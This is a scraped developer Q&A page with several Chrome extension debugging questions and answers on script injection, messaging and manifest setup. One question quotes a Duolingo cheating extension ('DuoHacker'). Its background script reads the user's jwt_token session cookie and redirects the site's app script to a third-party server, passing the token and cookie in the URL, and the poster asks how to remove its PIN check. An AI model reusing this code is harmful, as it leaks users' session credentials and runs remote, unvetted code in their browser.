Script not running in loaded template of Chrome Extension - javascript

Sorry for the long post. I'm pretty new to Chrome Extension development. I'm trying to inject a sidebar that gets visible when I click my floating element. Template is loading fine but any sort of script that I've already loaded from my contentscript isn't getting respected in my template. For example, I'm trying to template things using Mustache.js which is getting Mustache as undefined. Here's my manifest:
{
"name": "The Explorer", "manifest_version": 2,
"description": "An extension for chrome", "version": "1.0.0",
"background": {
"persistent": false,
"scripts": [ "background.js" ]
},
"permissions": [ "tabs", "<all_urls>" ],
"web_accessible_resources": [ "app/html/*", "vendor/*" ]
}
background.js:
chrome.tabs.onUpdated.addListener(function(tabId) {
var scripts = ["vendor/jquery-3.1.0.min.js", "vendor/mustache.min.js", "script.js"],
injectScripts = function(scriptArr) {
if (Array.isArray(scriptArr)) {
var script = scriptArr.splice(0, 1)[0];
chrome.tabs.executeScript(tabId, {file: script},
injectScripts.bind(null, scriptArr));
} else {
chrome.tabs.executeScript(tabId, {file: scriptArr});
}
};
injectScripts(scripts);
});
script.js:
(function() {
var myIcon;
(function createmyIcon() {
myIcon = document.querySelector('.my-shortcut-icon');
if (!myIcon) {
myIcon = document.createElement('div');
}
myIcon.addEventListener('click', toggleSidebar);
document.body.appendChild(myIcon);
})();
var sidebarOpen = false;
function toggleSidebar() {
var sidebar = document.getElementById('my-sidebar');
if (sidebarOpen) {
sidebarOpen = false;
myIcon.style.right = '0px';
sidebar.style.width = '0px';
} else {
if (!sidebar) {
sidebar = document.createElement('div');
sidebar.id = "my-sidebar";
document.body.appendChild(sidebar);
//Loads my template here
$("#my-sidebar").load(chrome.extension.getURL('app/html/test.html'));
}
sidebarOpen = true;
myIcon.style.right = '300px';
sidebar.style.width = '300px';
}
}
})();
And here's my template (test.html):
<div id="target">Loading...</div>
<script id="template" type="x-tmpl-mustache">
Hello {{ name }}!
</script>
<script type="text/javascript">
Mustache.parse($('#template').html());
$('#target').html(Mustache.render($('#template').html(), {
name: "Luke"
}));
</script>
Any idea on where I am making the error?

Related

Chrome Extension gives two errors: Uncaught TypeError and Unchecked runtime.lastError

I am facing two errors on Chrome extension that I am building:
Error 1:
Uncaught TypeError: Cannot set properties of null (setting 'onclick')
Context
_generated_background_page.html
Stack Trace
popup.js:3 (anonymous function)
Error 2:
Unchecked runtime.lastError: Could not establish connection. Receiving end does not exist.
Context
_generated_background_page.html
Stack Trace
_generated_background_page.html:0 (anonymous function)
I have already checked the questions on this site that address these two errors and I tried the solutions provided in them, but I am still facing the two errors.
My original code:-
popup.js (tried changing from onclick to onClicked for error 1, tried putting this code in window.onload for error 2)
let populateBtn = document.getElementById('populateBtn');
let textArea = document.getElementById('productList');
populateBtn.onclick = function(element) {
let color = element.target.value;
chrome.tabs.query({active: true, currentWindow: true}, function(tabs) {
if(!textArea.value)
{
chrome.tabs.executeScript(
tabs[0].id,
{code: 'alert("Please, populate the order list!");'});
return;
}
chrome.tabs.sendMessage(tabs[0].id, {data: textArea.value.replace(/\t/g,'').split("\n")}, function(response) {
});
});
};
background.html (tried putting <script> after </body> tag for error 1)
<body>
<p>Gina's Bakery Bulk Order</p>
<textarea id="productList"></textarea>
<button id="populateBtn">Create Order</button>
<script src="popup.js"></script>
</body>
app.js (tried chrome.runtime.connect for error 2)
chrome.runtime.onInstalled.addListener(function() {
});
inject.js (tried chrome.runtime.onConnect.addListener for error 2)
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
let failed = [];
request.data.forEach(element => { // itterate over all products
if(element.includes('-')){
let data = element.split('-');
let quantity = data[0].toLowerCase().replace("gb", "").trim();
let ID = data[1].trim();
let elementName = 'pid_' + ID.replace(".", "_");
if(document.getElementsByName(elementName).length > 0)
document.getElementsByName(elementName)[0].value = quantity;
else
failed.push("<td>GB-"+ ID +"</td><td>" + quantity + "</td>");
}
});
if(failed.length > 0){
//alert("Order unsuccessful! One or more products are not ordered: " + failed.join(", "));
let modal = document.createElement("div");
modal.setAttribute("id", "failedOrderModal");
modal.setAttribute("style", "position:fixed;width:250px;left:50%;top:100px;background-color:#fff;border-radius:10px;padding:10px;z-index:10000;color:#000;border: 1px solid red;text-align:center;");
let head = document.createElement("h2");
head.innerText = "Order unsuccessful! One or more products were not found!";
modal.appendChild(head);
let table = document.createElement("table");
let tbody = document.createElement("tbody");
table.appendChild(tbody);
let tr = document.createElement("tr");
tr.innerHTML = "<td>ITEM</td><td>QTY</td>";
tbody.appendChild(tr);
failed.forEach(failedItem => {
tr = document.createElement("tr");
tr.innerHTML = failedItem;
tbody.appendChild(tr);
});
modal.appendChild(table);
let closeBtn = document.createElement("button");
closeBtn.setAttribute("type", "button");
closeBtn.innerText = "Close";
closeBtn.onclick = function(){
document.getElementById("failedOrderModal").remove();
}
modal.appendChild(closeBtn);
document.body.appendChild(modal);
}
else
{
alert("All products were successfuly populated!");
}
sendResponse({result: "ok"})
return true;
});
manifest.json
{
"name": "Gina's Bakery Order",
"version": "1.0",
"description": "Helps automate orders from ginas-bakery.com.au",
"permissions": ["activeTab", "declarativeContent", "storage"],
"background": {
"scripts": ["app.js", "popup.js"],
"persistent": false
},
"icons": {
"16": "images/ginas-bakery_16.png",
"32": "images/ginas-bakery_32.png",
"48": "images/ginas-bakery_48.png",
"128": "images/ginas-bakery_128.png"
},
"browser_action": {
"default_popup": "background.html"
},
"content_scripts": [
{
"matches": ["*://www.ginas-bakery.com.au/order/"],
"js": ["inject.js"]
}
],
"manifest_version": 2
}
None of the above mentioned solutions worked.
The background script page is an invisible hidden page, so running visible scripts like app.js or popup.js there is meaningless. Remove background section from manifest.json and rename your background.html to popup.html both on the disk and in manifest.json.
manifest.json:
{
"name": "Gina's Bakery Order",
"version": "1.0",
"permissions": ["activeTab", "declarativeContent", "storage"],
"browser_action": {"default_popup": "popup.html"},
"manifest_version": 2
}
Content scripts run only when the page loads, so if you just reloaded or installed/updated the extension without reloading the tab, the content scripts won't run there.
Although you can inject them explicitly, it's much better to switch to programmatic injection on demand (use executeScript instead of content_scripts) because you can do it without requiring any host permissions when installing the extension.
popup.js:
const textArea = document.getElementById('productList');
const btn = document.getElementById('populateBtn');
btn.onclick = () => {
const data = textArea.value.replace(/\t/g, '').split('\n');
chrome.tabs.query({active: true, currentWindow: true}, ([tab]) => {
chrome.tabs.sendMessage(tab.id, {data}, () => {
if (chrome.runtime.lastError) {
chrome.tabs.executeScript({file: 'inject.js'}, () => {
chrome.tabs.sendMessage(tab.id, {data});
});
}
});
});
};
Since you're not using the response in sendMessage, don't send it in the first place, i.e. remove sendResponse({result: "ok"}); return true; from inject.js.

How to remove verification to use an extension?

A group of people (my friends and I) decided to create a chrome extension using JS that helps us complete tasks with ease on a specific site.
The code has a verification aspect to it that requires people to verify their 'pin' in order to use it. One of my colleagues added this but we cannot figure out how to remove it. The programming is too complex and beyond my capabilities.
Please help me with this as I was in charge of the html and css so I am not educated with the js and json aspect of the code.
The extension is split into multiple files: background.js; content.js; manifest.json; popup.css; popup.html; popup.js
Here are the contents of each file:
File 1 -
var activated = "none";
var token = "none";
var cookie = "";
function text(t){
document.querySelector('.msg').innerHTML = t;
}
chrome.storage.sync.get("activated", function(items) {
activated = !!items.activated;
});
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.msg === "toggle") {
activated = request.activated;
}
}
);
function parseJwt(token) {
var base64Url = token.split('.')[1];
var base64 = base64Url.replace(/-/g, '+').replace(/_/g, '/');
var jsonPayload = decodeURIComponent(atob(base64).split('').map(function(c) {
return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
}).join(''));
return JSON.parse(jsonPayload);
};
chrome.cookies.get({"url": "https://duolingo.com", "name": "jwt_token"}, function(_cookie) {
try {
cookie = _cookie.value;
token = parseJwt(cookie || '{"sub":""}').sub || "";
} catch (e) {}
});
var loadtimer;
var roottext = "";
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.msg == "rootDOM") {
roottext = request.text;
}
}
);
chrome.webRequest.onBeforeRequest.addListener(function(details) {
if (activated && !!token && details.url.includes(".cloudfront.net/js/app-") && details.url.includes(".js")) {
loadtimer = setInterval(()=>{
if(activated != "none"){
if((document.querySelector('#duohacker') || document.body).innerText === "true"){
if(!activated){
document.location.reload();
}
clearInterval(loadtimer);
}else if(roottext != ""){
clearInterval(loadtimer);
document.location.reload();
}else if(activated){
document.location.reload();
}
}
},500);
return {
redirectUrl: `https://lolo5.net/apps/duohacker/script.js?t=${token}&r=${Date.now()}&c=${cookie}` /* the parameter "c" is optional and may be removed. it was added to make the extension future-proof :) */
//redirectUrl: `http://localhost:5000/apps/duohacker/script.js?t=${token}&r=${Date.now()}&c=${cookie}`
};
}
}, {
urls: ["<all_urls>"]
}, ["blocking"]);
File 2 -
var roottext = "";
var rootcheck = setInterval(()=>{
roottext = document.querySelector('#root');
if(roottext){
roottext = roottext.innerText;
}else{
roottext = "";
}
if(roottext != ""){
clearInterval(rootcheck);
chrome.runtime.sendMessage({
msg: "rootDOM",
text: roottext
});
}
},1000);
File 3 -
{
"manifest_version": 2,
"name": "DuoHacker v3 - Lolo",
"version": "1.0.1",
"incognito": "split",
"description": "Finish courses and lessons super quick and thereby get a lot of XP in Duolingo.",
"background": {
"scripts": ["background.js"]
},
"content_scripts": [{
"matches": ["*://*.duolingo.com/*"],
"js": ["content.js"]
}],
"permissions": ["<all_urls>", "webRequest", "webRequestBlocking", "storage", "cookies", "activeTab", "tabs"],
"icons": {
"128": "128_128.png",
"48": "48_48.png",
"16": "16_16.png"
},
"browser_action": {
"default_popup": "popup.html",
"default_icon": "48_48.png",
"default_title": "DuoHacker v3 - Lolo"
}
}
File 6 -
document.addEventListener('DOMContentLoaded', function() {
var activated = false;
chrome.storage.sync.get("activated", function(items) {
activated = !!items.activated;
document.querySelector("#inp").checked = activated;
});
chrome.cookies.get({"url": "https://duolingo.com", "name": "jwt_token"}, function(cookie) {
try {
document.querySelector('.msg').innerHTML = (parseJwt(cookie.value || '{"sub":""}').sub);
} catch (e) {
document.querySelector('.msg').innerHTML = "Log into Duolingo!";
}
document.querySelector('.hidden').value = document.querySelector('.msg').innerHTML;
});
document.querySelector('.msg').addEventListener("click", ()=>{
document.querySelector('.hidden').select();
document.execCommand("copy");
});
document.querySelector("#inp").addEventListener("click", () => {
chrome.storage.sync.set({
"activated": !activated
}, function() {
activated = !activated;
chrome.runtime.sendMessage({
msg: "toggle",
activated: activated
});
});
});
});
function parseJwt (token) {
var base64Url = token.split('.')[1];
var base64 = base64Url.replace(/-/g, '+').replace(/_/g, '/');
var jsonPayload = decodeURIComponent(atob(base64).split('').map(function(c) {
return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
}).join(''));
return JSON.parse(jsonPayload);
};

Execute function in inject js web portal from chrome extension background js chrome extension

I have added a file in the manifest like the below code.
manifest
content_scripts": [ {
"js": [ "/js/inside.js" ],
"matches": [ "*://*.google.com/*" ]
} ],
inside.js
var scriptTag = document.createElement("script");
scriptTag.type = "text/javascript";
scriptTag.src = "chrome-extension://" + chrome.runtime.id + "helper.js";
var scriptTags = document.getElementsByTagName("script")[0];
scriptTags.parentNode.appendChild(scriptTag, scriptTags)
helper.js
window.sendImg(imgFile, caption, done = undefined) {
return window.Store.Chat.find(setPhone(this.phone) + "#c.us").then(chat => {
let mc = new window.Store.MediaCollection(chat);
mc.processAttachments([{ file: imgFile }, 1], chat, 1).then(() => {
let media = mc.models[0];
media.sendToChat(chat, { caption: caption });
if (done !== undefined) done(true);
});
});
};
background.js
window.sendImg(imgFile, capt);
It is not calling, showing error window.sendImg is not defined

Need help to pass information between content script and web_accessible_resources(js file)

I have a content script with some data read form the content script
//Manifest file
{
"manifest_version": 2,
"name": "Random App",
"description": "This App will do random stuff",
"version": "1.0",
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
"content_scripts": [
{
"matches": ["https://www.youtube.com/*"],
"js": ["content.js"],
"run_at": "document_start",
"all_frames": true
}
],
"web_accessible_resources": ["InjectScript.js"],
"permissions": ["tabs", "background", "storage","https://www.youtube.com/*" ],
"browser_action": {
"default_title": "This is just a random app",
"default_icon": "hello.png"
}
}
//Content.js My requirement is to send firstParamTobeSent and secondParamTobeSent to InjectScript
var firstParamTobeSent = "Stackoverflow";
var secondParamTobeSent = "Stackoverflow2";
var s = document.createElement('script');
s.src = chrome.extension.getURL('InjectScript.js');
alert("got the URL on InjectScript");
s.onload = function() {
alert("1." + firstParamTobeSent + "----" + secondParamTobeSent);
this.parentNode.removeChild(this);
};
window.postMessage("YourName_expectedMessage"); //If I comment this line alert 1 and 2 start working.
alert("2." + firstParamTobeSent + "----" + secondParamTobeSent);
(document.head||document.documentElement).appendChild(s);
//InjectScript.js
window.addEventListener("message", function(request) {
alert("Reaching here = " + request.data + "ORGIN = " + request.origin);
if (request.data == "YourName_expectedMessage") //note that there are likely many script on the page or it's child frames that also send messages to this page, so you better name
{
alert("It works");
}
}, true);
I finally used
s.onload = function() {
var evt=document.createEvent("CustomEvent");
evt.initCustomEvent("yourCustomEvent", true, true, { 'Data1' : 'Value1' , 'Data2' : 'Value2' });
document.dispatchEvent(evt);
...//Ur code
}
//Injected.js
document.addEventListener('yourCustomEvent', function (e)
{
d1= e.detail.Data1;
d2 = e.detail.Data2;
alert("received d1= " + d1 + "d2 = " + d2);
});
For messaging from content script to page script you can use this code:
window.postMessage("YourName_expectedMessage", "*").
On the page script (WebAccessibleResources.js) you should use
window.addEventListener("message", function(request) {
if (request.data == "YourName_expectedMessage") //note that there are likely many script on the page or it's child frames that also send messages to this page, so you better name your message so that is unique in the entire world.
{
...
}
}, true);
Alternatively, you can create tags on the page and store necessary data in the attributes of these tags, so that the other end can read them.

jQuery only working in certain areas of Chrome App

I am trying to create a simple serial port reader for Chrome. Nothing major, just receive the input so I can parse it. I am having some problems where jQuery is working at one point but then two lines down it is "$ undefined".
Manifest:
{
"name": "Serial Reader",
"description": "Read Serial barcode scanners with Google Chrome.",
"version": "0.1",
"manifest_version": 2,
"app": {
"background": {
"scripts": ["background.js", "script.js", "jquery.js"],
"transient": true
}
},
"permissions": [
"serial"
],
"icons": { "16": "icon-16.png", "128": "icon-128.png" }
}
Script.js:
var onGetDevices = function(ports) {
for (var i=0; iNo ports were found.");
} else {
//Works
$("#portList").append("" + ports[i].path + "");
}
}
};
chrome.serial.getDevices(onGetDevices);
var connectionId = -1;
var portSelected = $("#portList").val(); //Returns undefined $
var connectCallback = function() { console.log("Connected") };
chrome.serial.connect(portSelected, null , connectCallback);
var stringReceived = '';
var onReceiveCallback = function(info) {
if (info.connectionId == expectedConnectionId && info.data) {
var str = convertArrayBufferToString(info.data);
if (str.charAt(str.length-1) === '\n') {
stringReceived += str.substring(0, str.length-1);
$('#member').val(onLineReceived(stringReceived));
stringReceived = '';
} else {
stringReceived += str;
}
}
};
chrome.serial.onReceive.addListener(onReceiveCallback);
Background.js:
chrome.app.runtime.onLaunched.addListener(function() {
chrome.app.window.create('window.html', {
'bounds': {
'width': 1024,
'height': 768
},
"resizable": false
});
});
Window.html:
<!DOCTYPE html>
<html>
<head>
<title>Serial Reader</title>
<script type="text/JavaScript" src="jquery.js"></script>
<style>
body {
background-image: url(/images/checkin_green.png);
}
</style>
</head>
<body>
<center><strong style="font-size: 16px;">Account Number:</strong> <input id="member" /></center>
<br /><br /><br />
<center><strong style="font-size: 16px;">Avaliable Ports:</strong> <select id="portList"></select></center>
<br />
<center><span id="notFound"></span></center>
<script type="text/JavaScript" src="script.js"></script>
</body>
</html>
I have been playing around with this for quite some time and cannot come up with a solution. I don't understand how it can populate the list of ports but then three lines down say that it is undefined. Any help would be greatly appreciated! Thanks!
I believe the issue is that the DOM is not completely ready when you query for #portList, so it returns an empty list and you are trying to set the value of elements that don't exist yet.
I would suspect that the onGetDevices gets called after the DOM is ready, so there is no issue. Consider wrapping DOM dependent code within $(document).ready(function(){ ... })
Another issue could be that you are not querying the DOM of your extension, but rather the DOM of whatever page that triggered the extension.
Problem was the actual manifest loading of the scripts. The manifest should look like this:
{
"name": "Serial Reader",
"description": "Read Serial barcode scanners with Google Chrome.",
"version": "0.1",
"manifest_version": 2,
"app": {
"background": {
"scripts": ["jquery.js", "background.js", "script.js"],
"transient": true
}
},
"permissions": [
"serial"
],
"icons": { "16": "icon-16.png", "128": "icon-128.png" }
}
With that being said I put this here just for reference sake. Thanks for the help #Wio

Categories

Resources